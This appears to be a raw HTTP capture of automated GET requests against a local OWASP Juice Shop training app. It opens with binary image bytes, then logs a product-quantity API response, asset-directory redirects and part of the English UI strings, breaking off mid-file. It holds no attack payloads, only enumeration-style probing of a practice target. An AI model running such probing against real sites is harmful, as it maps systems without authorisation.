1cV\x0f\x05[\xec\x17\x98\xed`\x8f\x95;P\xda;v[oL\xb0r\xf5\n\xa9\x87]\x84\xe3\xa8\x1e\xad\xb9\x08Otf\x10\xd2@p\xd1\xcb\xb7\x1c\x1cPi8qH\x18+}\x95\x86\xd7j4\xf9\x8f\xb2n*\xeap\xcd\xb7b\xb6\xb3 \xea\x05Z.\xbb.\xfeo\xb2\x96\x95|\xc3\xee\xb0}\x94\xa5\x93\x06\x08\xab\x85\xe7k=\x8b\x04\x14h\x91%"^\xcea\x9e\x8e\xf8\x8d\t\xa48Tg\x055\xb7E\x02\x8cj\xee\'\x03J\xb6\xd9z^\xba\x88?O\xaan;N\xc3n\xc0g\xf5\x1c\xedB\x9f3\xf6V\xc3\xa9,\xe1\xae\x9djRe\xd2\xf1\x03\xc7\xbck\n\x14V\xc5`{MAV\x84\x94H\x86\xf3I#Wb\x90\x9c2\xe6\xe4J\x81\xd4\xbc\x97\x8d`\xa6\xb00P`\x10F\x08&\xa4\xad\xc5\xa8\xc0jt\x020\xe2\x108J\xd3e\xf9g\x8eJ\xfc\x8dSq\xdav\x1by7-\x12 ykI\xad0\x1c\xfd\xaa\x7f\'\xe3LC\rq\x0c\x15\xfd\xc7\x03\xa0v\xa89\',\xde\x1b\x9c\xee\x81\xd5^\x94\xeb>ZR\x1d!\xb6\x95\xe5\'\xac\xa2\x9d\r\xaf\x1eP\x051\x8d`\xa3@\x1c\xcaVR4\xdcA\x0e\x0b\x1c\xf7\x9c\x03Aq<\xc0)\xa9X\xb2\xb1]\x06+K^\xc2Z\xe0q\x04b\x16H\xec[\x16\xdf\x93l\xde\xf9l68\x91@\xd2\xf7\x02\xd2E\x08\xabF\x80G\x94s\x1fr\x83\xb0l\xa8\x1f\xd4\x9ay<\x8c\r\xeb.S{\x06\xc2\xbaL\t\xa7\x03\xed0\x11\xd0G}\x0b)r&\xd2\xb0\r\xe8\xed\x0e\x86M\x03\xdb\x9d\xa4\xea8\x16\x9f\xdc\x05t\x12\xa2C\x0e\x1c\xbe~\x17\tF\x84b\xc3s\x06.\x04|\xd4L\x9b\x9ef\x0c\xa8\xe4#\xeaj\xbc\r7Zng\xa3\xb53\'\xe6\xdf\x8b@\xe7#\xe9U\x03$\x1e\x7f\xd5\x88\x07\xed\x15\xe94\xeaR\xb9=\'\x03=\xdb\xc7[\xb3\xf4a\xd0\xa4\x1a\x033kS\xe70\x1c\xfbS1wG\xd7B\xd8\x9f!\xa1\xcf\x9f\tN4:\x1bI\x10\xdaEC\xdc1y\x071kpn\xb7\xd6\xbc\x1c\xf3\xb9\taN\x12\xe8\xb2\x90\xeat\xb4\\\xff\x00\x02\xd5\x0bc,\x9d\x84o6P\x1ew=\xdd\x0eq\n-\xb9o\xe4\xcc\xecWC\x86\xe9V=\xe4\xeee\x83s\xa5s5\xb9\xae\xd0\x0c\xd5a\xcf\xaf\x15lZ\xb1mI\xb7\xcdE\r\x0f\x88Au\xd1AZR\xb4$\xe3J\x9eZ\xab\x0b--{&X\xcaID\xba\xd7\xba\xf7\x049\xd5 \x03v\xf04\xc0`\x16\xc5SV\xc4h\x11\xfc$\xd8\xb9\xdc\xd71\xd1kSx\x10\xe0\xdb\xd9\xee\x8b\xa0\x80\x05\xdc\xe7j~N\x14\xcc7B\x8a\xd0\xe6<\x10\xe0p \xac\xb1\xc9\xc7XV\x93\xe5\xb3\x96\x1f)\x84\xe9c\xb0\xf7\x8c\xed:\xcbJ\x8c\xda\x1a\xf9\xe6\x1a\x10\xaa\xa0\xc7\x11\x050(\xe3\xe2A\x9a\xdc\xdbJ(\xf1\xf7R3R\x8a;\xee\xb0\x94\xd6\x97\x10\x06%Xv[,\xb9\x182\x8c\xa5!\xb076\x93O)\xdf\x13\xaa\xe3\xcaT\xd5\xaf\x11\xee\xa43A\xd2S-9\x86\x9a\xde\xaf:\x91\x9el\xdbK\\3\xe9\x1a\n}\x81g<\xd5\xd2\xd0\x89\xe5\x86\xde\xc5-!/-\x9a\x0c6\xb3\xf6\xb47\xa8!\xb5\x14U\xabf\xab8:Z^l\x0c\xedqa\xe6x\xbc>W\r9\xd4aV\xf9\xe0i\xb4\t\x19\xc2d\xdf\xa4\x9a\xf0\xec\x10\xdb&\x8ane\xaeikVJ\xc2\x11myF8T\x18\xf0\xc1\x1c\x97\xc5Q\x15\nrM\xf2\xee\xa1\x19\xb4\x1d\xab\x1a]\xe6&\xe9O$\x0f\x15\xf8\x15\xb2\xe3C\xac2N\x88\x8c=c\xea\xa2pO\x9fi\xa8\xaa\x08\xa0H\xc12j#t\xa1:\xf1\xa9\x19\xc8\x9c\x89\xf1\\\xfcMS\xb0V\x04\xdbe-)h\xee\xc2\x1cV8\xf35\xc0\x9e\xadH"\x01\xccV\xf4\x82\rn7\xe4\x10\xcd\xe2\xc4\xe0\x95\xb3,\xd0e\x95\n\x16\x97\xc5\x1f&\xb5\xd5\xe9-Q\xb8>~\x19\xf2Bi\xcc\x8e\xd0\xf1\n\x0b%\xed_\nYr\xf3U\xa9{\x05\xef\xde<\x97\xfc\x9e\x1c<\xc4c@\xb6d\xb5\x84{B\x14\xa3Nh,\xa9\xfd\xd1(\x7f\xc44\xfb\xd4s\x80\xf3\xf0x)\xb8"\xa9\xe3\x15\xb0\xb6R\nD\xb2\xe2\x9c\xf9\xe2C\xaf\xf3h\xe8x\x03\xdb\'\xcc[V\xa4\x1b:Z$\xcccFCi\'\xe8\x07+\x8d\x00\xe5*\xd4\xb4b\xda3Q&b\xf0\xa28\xb8\xf2W\x01\xcc\x06a\xc8\xa2:\xae\xf3\xf00L\xf3\x0e\x15V|\xfci\t\x86L@u\xd8\x90\xc8p<\xa3^\xb0p \xe6"\xa0\xac\x90\xca\xb9|\xa2\x92\x11\xe1\xe6{h"3K\x1d\xff\x00\x97b\xc7i\x19\xb1\x0e\x00x\xb1b\x06\n\x95\xb2f[\x8b^6\xf3\x95u`C9\xc8\xc2#\xc6\x91\xec\xb7\xfbu\x9f+\x0b\xa5E}\xd1\xc4%\xcer\x9b\xe6HV\x1d\xbb9b\xcc\x89\x99G\x96\xbcc\xa9\xc3K\\4\xb4\xf5\xd0\x8a8\x02\xb2[eK2\xd6h\x870\xe1/\x1bHq\xa3\x1d\xfb^h>\x17]54\x17\xb1M \x8a\x8c6\x8a\xb6\xf2\xa2\xcd\xb1\x98]7\x19\xad:\x1b\x8b\xcf3\x05]\xef\xa55\x95\x96\xbb\'L\xdba\xd2\xf2\xc0\xc2\x80s\x1fM\xe3\xda\xa6\r\xf6A\xcf\xfd\xc4\x8c\xc1\xcf\r\t\xce.5<A\xae\xbaj\x9a\xf0\xec\x11\xf3.\x8a\x1a\x83\x81\xc1Y\xd9CiY\xa2\x92\xb3\x11!\x8a\xd6\x8dq\r\xaf\xed\xe0\x9fxL\xd9K(\xda)\xbe\xbel\x84\x7f\xe9\xd6\xa7\xb2\xee\xdd\x9d\xae\xeb7\x13>\x86\x9d\xccj\xc2\x1d\xd0\x9c\xe2\xe2I5\'IO\x8c\x06\x08\xb8\x9cx\x9d\xf3\xad_v\xb5}\xda\xd5\xf7kW\xdd\xad_v\xb5}\xda\xd5\xf7kW\x8e\xbd\xa0h\x84W\r+wr1\x9cQq8\xff\x00\xc7_\xff\xd9'
GET http://localhost:3000/api/Quantitys HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"1767-6xbtzTdeGWyNMRY5xYQDA2lfts0"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"status":"success","data":[{"ProductId":1,"id":1,"quantity":49,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":2,"id":2,"quantity":60,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":3,"id":3,"quantity":91,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":4,"id":4,"quantity":68,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":5,"id":5,"quantity":34,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":6,"id":6,"quantity":55,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":7,"id":7,"quantity":54,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":8,"id":8,"quantity":48,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":9,"id":9,"quantity":36,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":10,"id":10,"quantity":71,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":11,"id":11,"quantity":52,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":12,"id":12,"quantity":72,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":13,"id":13,"quantity":63,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":14,"id":14,"quantity":68,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":15,"id":15,"quantity":98,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":16,"id":16,"quantity":37,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":17,"id":17,"quantity":88,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":18,"id":18,"quantity":47,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":19,"id":19,"quantity":79,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":20,"id":20,"quantity":5,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":21,"id":21,"quantity":47,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.103Z","updatedAt":"2024-03-05T22:20:46.103Z"},{"ProductId":22,"id":22,"quantity":30,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":23,"id":23,"quantity":35,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":24,"id":24,"quantity":83,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":25,"id":25,"quantity":53,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":26,"id":26,"quantity":35,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":27,"id":27,"quantity":0,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":28,"id":28,"quantity":47,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":29,"id":29,"quantity":31,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":30,"id":30,"quantity":75,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":31,"id":31,"quantity":40,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":32,"id":32,"quantity":71,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":33,"id":33,"quantity":3,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":34,"id":34,"quantity":0,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":35,"id":35,"quantity":8,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":36,"id":36,"quantity":0,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":37,"id":37,"quantity":0,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":38,"id":38,"quantity":0,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":39,"id":39,"quantity":30,"limitPerUser":5,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":40,"id":40,"quantity":2,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":41,"id":41,"quantity":1,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":42,"id":42,"quantity":1,"limitPerUser":null,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":43,"id":43,"quantity":3,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"},{"ProductId":44,"id":44,"quantity":52,"limitPerUser":1,"createdAt":"2024-03-05T22:20:46.104Z","updatedAt":"2024-03-05T22:20:46.104Z"}]}'
GET http://localhost:3000/assets HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 301 Moved Permanently\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 179\r\nContent-Security-Policy: default-src 'none'\r\nLocation: /assets/\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Redirecting</title>\n</head>\n<body>\n<pre>Redirecting to <a href="/assets/">/assets/</a></pre>\n</body>\n</html>\n'
GET http://localhost:3000/assets/i18n HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 301 Moved Permanently\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 189\r\nContent-Security-Policy: default-src 'none'\r\nLocation: /assets/i18n/\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Redirecting</title>\n</head>\n<body>\n<pre>Redirecting to <a href="/assets/i18n/">/assets/i18n/</a></pre>\n</body>\n</html>\n'
GET http://localhost:3000/assets/public HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 301 Moved Permanently\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 193\r\nContent-Security-Policy: default-src 'none'\r\nLocation: /assets/public/\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Redirecting</title>\n</head>\n<body>\n<pre>Redirecting to <a href="/assets/public/">/assets/public/</a></pre>\n</body>\n</html>\n'
GET http://localhost:3000/assets/i18n/en.json HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:39 GMT\r\nETag: W/"8175-18df12a532a"\r\nContent-Type: application/json; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{\n "LANGUAGE": "English",\n "NAV_SEARCH": "Search",\n "SEARCH_PLACEHOLDER": "Search...",\n "NAV_COMPLAIN": "Complaint",\n "TITLE_LOGIN": "Login",\n "MANDATORY_EMAIL": "Please provide an email address.",\n "MANDATORY_PASSWORD": "Please provide a password.",\n "LABEL_EMAIL": "Email",\n "LABEL_PASSWORD": "Password",\n "SHOW_PASSWORD_ADVICE": "Show password advice",\n "LOWER_CASE_CRITERIA_MSG": "contains at least one lower character",\n "UPPER_CASE_CRITERIA_MSG": "contains at least one upper character",\n "DIGITS_CRITERIA_MSG": "contains at least one digit",\n "SPECIAL_CHARS_CRITERIA_MSG": "contains at least one special character",\n "MIN_CHARS_CRITERIA_MSG": "contains at least {{value}} characters",\n "BTN_LOGIN": "Log in",\n "BTN_GOOGLE_LOGIN": "Log in with Google",\n "REMEMBER_ME": "Remember me",\n "NO_CUSTOMER": "Not yet a customer?",\n "ALREADY_A_CUSTOMER": "Already a customer?",\n "TITLE_REGISTRATION": "User Registration",\n "INVALID_EMAIL": "Email address is not valid.",\n "SECURITY_ANSWER": "Answer",\n "MANDATORY_PASSWORD_REPEAT": "Please repeat your password.",\n "INVALID_PASSWORD_LENGTH": "Password must be {{length}} characters long.",\n "LABEL_PASSWORD_REPEAT": "Repeat Password",\n "PASSWORDS_NOT_MATCHING": "Passwords do not match",\n "BTN_REGISTER": "Register",\n "CONFIRM_REGISTER": "Registration completed successfully. You can now log in.",\n "TITLE_LOGOUT": "Logout",\n "CONFIRM_LOGGED_OUT": "You have been logged out.",\n "TITLE_CONTACT": "Contact",\n "MANDATORY_COMMENT": "Please provide a comment.",\n "INVALID_COMMENT_LENGTH": "Comment length must be {{length}} characters.",\n "MAX_TEXTAREA_LENGTH": "Max. {{length}} characters",\n "MANDATORY_RATING": "Please provide a rating.",\n "MANDATORY_CAPTCHA": "Please enter the result of the CAPTCHA.",\n "INVALID_CAPTCHA": "Invalid CAPTCHA code",\n "LABEL_AUTHOR": "Author",\n "LABEL_COMMENT": "Comment",\n "LABEL_RATING": "Rating",\n "LABEL_WHAT_IS": "What is",\n "BTN_SUBMIT": "Submit",\n "TITLE_ABOUT": "About Us",\n "SECTION_CORPORATE_HISTORY": "Corporate History & Policy",\n "SECTION_CUSTOMER_FEEDBACK": "Customer Feedback",\n "SECTION_SUPPORT_CHAT": "Support Chat",\n "LABEL_POWERED_BY_CHATBOT": "powered by {{chatbot}}",\n "ASK_ME_ANYTHING_PLACEHOLDER": "Ask me anything in English",\n "SECTION_SOCIAL_MEDIA": "Follow us on Social Media",\n "LINK_TERMS_OF_USE": "Check out our boring terms of use if you are interested in such lame stuff.",\n "TITLE_ADMINISTRATION": "Administration",\n "SECTION_USER": "Registered Users",\n "LABEL_USER": "User",\n "LABEL_CREATED_AT": "Created at",\n "LABEL_UPDATED_AT": "Updated at",\n "BTN_CLOSE": "Close",\n "TITLE_SEARCH_RESULTS": "Search Results",\n "TITLE_ALL_PRODUCTS": "All Products",\n "BASKET_ADD_SAME_PRODUCT": "Added another {{product}} to basket.",\n "BASKET_ADD_PRODUCT": "Placed {{product}} into basket.",\n "LABEL_PRODUCT": "Product",\n "LABEL_PRODUCT_ORDERED": "Ordered products",\n "LABEL_EXPECTED_DELIVERY": "Expected Delivery",\n "LABEL_DAYS": "Days",\n "LABEL_NAME": "Name",\n "LABEL_DESCRIPTION": "Description",\n "LABEL_PRICE": "Price",\n "LABEL_BONUS": "Bonus",\n "LABEL_IMAGE": "Image",\n "TITLE_BASKET": "Your Basket",\n "LABEL_QUANTITY": "Quantity",\n "LABEL_TOTAL_PRICE": "Total Price",\n "CHECKOUT_FOR_BONUS_POINTS": "You will gain {{bonus}} Bonus Points from this order!",\n "BTN_CHECKOUT": "Checkout",\n "BTN_CREDIT_CARD": "Credit Card",\n "INVALID_COUPON_LENGTH": "Coupon code must be {{length}} characters long.",\n "INVALID_COUPON": "Invalid coupon.",\n "LABEL_COUPON": "Coupon",\n "FOLLOW_FOR_MONTHLY_COUPONS": "Need a coupon code? Follow us on <a href=\'{{twitter}}\' target=\'_blank\'>Twitter</a> or <a href=\'{{facebook}}\' target=\'_blank\'>Facebook</a> for monthly coupons and other spam!",\n "BTN_REDEEM": "Redeem",\n "THANKS_FOR_SUPPORT": "Thank you for supporting {{juiceshop}}!",\n "THANKS_FOR_SUPPORT_CUSTOMIZED": "Thank you for supporting the open source project behind {{appname}}!",\n "LABEL_PAYMENT": "Payment",\n "LABEL_DONATIONS": "Donations",\n "LABEL_MERCHANDISE": "Merchandise",\n "OFFICIAL_MERCHANDISE_STORES": "Official stores for {{juiceshop}} apparel, mugs and stickers!",\n "OFFICIAL_MERCHANDISE_STORES_CUSTOMIZED": "Official stores for apparel, mugs and stickers of the open source project behind {{appname}}!",\n "DISCOUNT_APPLIED": "Your discount of {{discount}}% will be applied during checkout.",\n "TITLE_CHANGE_PASSWORD": "Change Password",\n "MANDATORY_CURRENT_PASSWORD": "Please provide your current password.",\n "MANDATORY_NEW_PASSWORD": "Please provide your new password.",\n "LABEL_CURRENT_PASSWORD": "Current Password",\n "LABEL_NEW_PASSWORD": "New Password",\n "LABEL_REPEAT_NEW_PASSWORD": "Repeat New Password",\n "BTN_CHANGE": "Change",\n "LABEL_CAPTCHA": "CAPTCHA",\n "ENTER_CAPTCHA": "Enter CAPTCHA",\n "TITLE_COMPLAIN": "File Complaint",\n "MANDATORY_MESSAGE": "Please provide a text.",\n "INVALID_MESSAGE_LENGTH": "Text length must be {{length}} characters.",\n "INVALID_FILE_SIZE": "File too large. Maximum {{size}} allowed.",\n "INVALID_FILE_TYPE": "Forbidden file type. Only {{type}} allowed.",\n "LABEL_CUSTOMER": "Customer",\n "LABEL_MESSAGE": "Message",\n "LABEL_INVOICE": "Invoice",\n "TITLE_SCORE_BOARD": "Score Board",\n "LABEL_DIFFICULTY": "Difficulty",\n "LABEL_CATEGORY": "Category",\n "LABEL_TAGS": "Tags",\n "LABEL_CHALLENGES": "Challenges",\n "LABEL_STATUS": "Status",\n "STATUS_UNSOLVED": "unsolved",\n "STATUS_SOLVED": "solved",\n "STATUS_PARTIALLY_SOLVED": "partially solved",\n "STATUS_UNAVAILABLE": "unavailable",\n "STATUS_ALL": "all",\n "CALL_FOR_CONTRIBUTIONS": "Got an idea for a new challenge? Found a vulnerability that is not tracked here? Let us know via <a href=\'http://gitter.im/bkimminich/juice-shop\'><i class=\'fab fa-gitter\'></i>Gitter.im</a> community chat or by opening a <a href=\'https://github.com/juice-shop/juice-shop/issues\'><i class=\'fab fa-github\'></i>GitHub</a> issue!",\n "CALL_FOR_FEEDBACK": "Please help us to make {{appname}} even better for you by answering our <a href=\'{{questionnaire}}\'><i class=\'fas fa-poll-h\'></i>user questionaire</a>!",\n "CHALLENGE_SOLVED": "You successfully solved a challenge: {{challenge}}",\n "INVALID_CONTINUE_CODE": "Invalid continue code.",\n "CONFIRM_LOGGED_IN_VIA_OAUTH2": "You have been logged in via OAuth 2.0 provider.",\n "HOME_LINK_MESSAGE": "If you are not automatically redirected, please click here: {{home}}",\n "TITLE_BITCOIN_ADDRESS": "Bitcoin Address",\n "TITLE_DASH_ADDRESS": "Dash Address",\n "TITLE_ETHER_ADDRESS": "Ether Address",\n "NOTIFICATION_RESEND_INSTRUCTIONS": "Click to repeat the notification containing the solution-code for this challenge.",\n "COPY_TO_CLIPBOARD": "Copy to clipboard",\n "COPY_SUCCESS": "Copied!",\n "NAV_RECYCLE": "Recycle",\n "TITLE_RECYCLE": "Request Recycling Box",\n "LABEL_REQUESTOR": "Requestor",\n "LABEL_RECYCLE_QUANTITY": "Quantity",\n "LABEL_DELIVERY_ADDRESS": "Delivery Address",\n "LABEL_PICKUP_ADDRESS": "Pickup Address",\n "INVALID_ADDRESS_LENGTH": "Address length must be {{length}} characters.",\n "INVALID_QUANTITY": "Quantity must be {{range}} liters.",\n "MANDATORY_ADDRESS": "Please provide an address.",\n "MANDATORY_QUANTITY": "Please provide a quantity.",\n "IN_LITERS_PLACEHOLDER": "...in liters",\n "REQUEST_PICKUP": "Please pickup at above address instead of sending a recycle box.",\n "LABEL_PICKUP_DATE": "Pickup Date",\n "SECTION_RECYCLING": "Recycling Requests",\n "LABEL_ADDRESS": "Address",\n "SECTION_PRESS_JUICE_RESPONSIBLY": "You hug trees. We save money. Win-win!",\n "LABEL_SECURITY_QUESTION": "Security Question",\n "CANNOT_BE_CHANGED_LATER": "This cannot be changed later!",\n "MANDATORY_SECURITY_QUESTION": "Please select a security question.",\n "MANDATORY_SECURITY_ANSWER": "Please provide an answer to your security question.",\n "FORGOT_PASSWORD": "Forgot your password?",\n "TITLE_FORGOT_PASSWORD": "Forgot Password",\n "NOTIFICATION_SERVER_STARTED": "The server has been restarted",\n "AUTO_RESTORED_PROGRESS": "Your previous hacking progress has been restored automatically.",\n "AUTO_RESTORE_PROGRESS_FAILED": "Restoring your previous hacking progress failed: {{error}}",\n "RESET_HACKING_PROGRESS": "Delete cookie to clear hacking progress",\n "RESTART_REQUIRED": "You now have to manually restart the application to start over!",\n "LABEL_EDIT_REVIEW": "Edit Review",\n "LABEL_REVIEW": "Review",\n "LABEL_REVIEWS": "Reviews",\n "LABEL_ADD_REVIEW_FOR_PRODUCT": "Add a review for this product",\n "LABEL_NO_REVIEWS": "No Reviews",\n "TITLE_TOKENSALE": "Token Sale",\n "SECTION_ICO": "Initial Coin Offering for <strong><i class=\'fab fa-bitcoin\'></i> {{juicycoin}}</strong>",\n "ICO_FAQ": "FAQ about our ICO",\n "SECTION_WHITEPAPER": "Whitepaper",\n "WHITEPAPER_REFERENCES": "Instead of reinventing the square coin, we just refer to existing brilliant whitepapers!",\n "SECTION_SALES_PITCH": "Convincing ICO Sales Pitch",\n "GIVE_US_ALL_YOUR_MONEY": "Give us all your money.",\n "ICO_FAQ_QUESTION": "Can I really get rich with <strong><i class=\'fab fa-bitcoin\'></i> {{juicycoin}}</strong>?",\n "ICO_FAQ_ANSWER": "Of course you can! We would never lie to you!",\n "TITLE_TRACK_ORDERS": 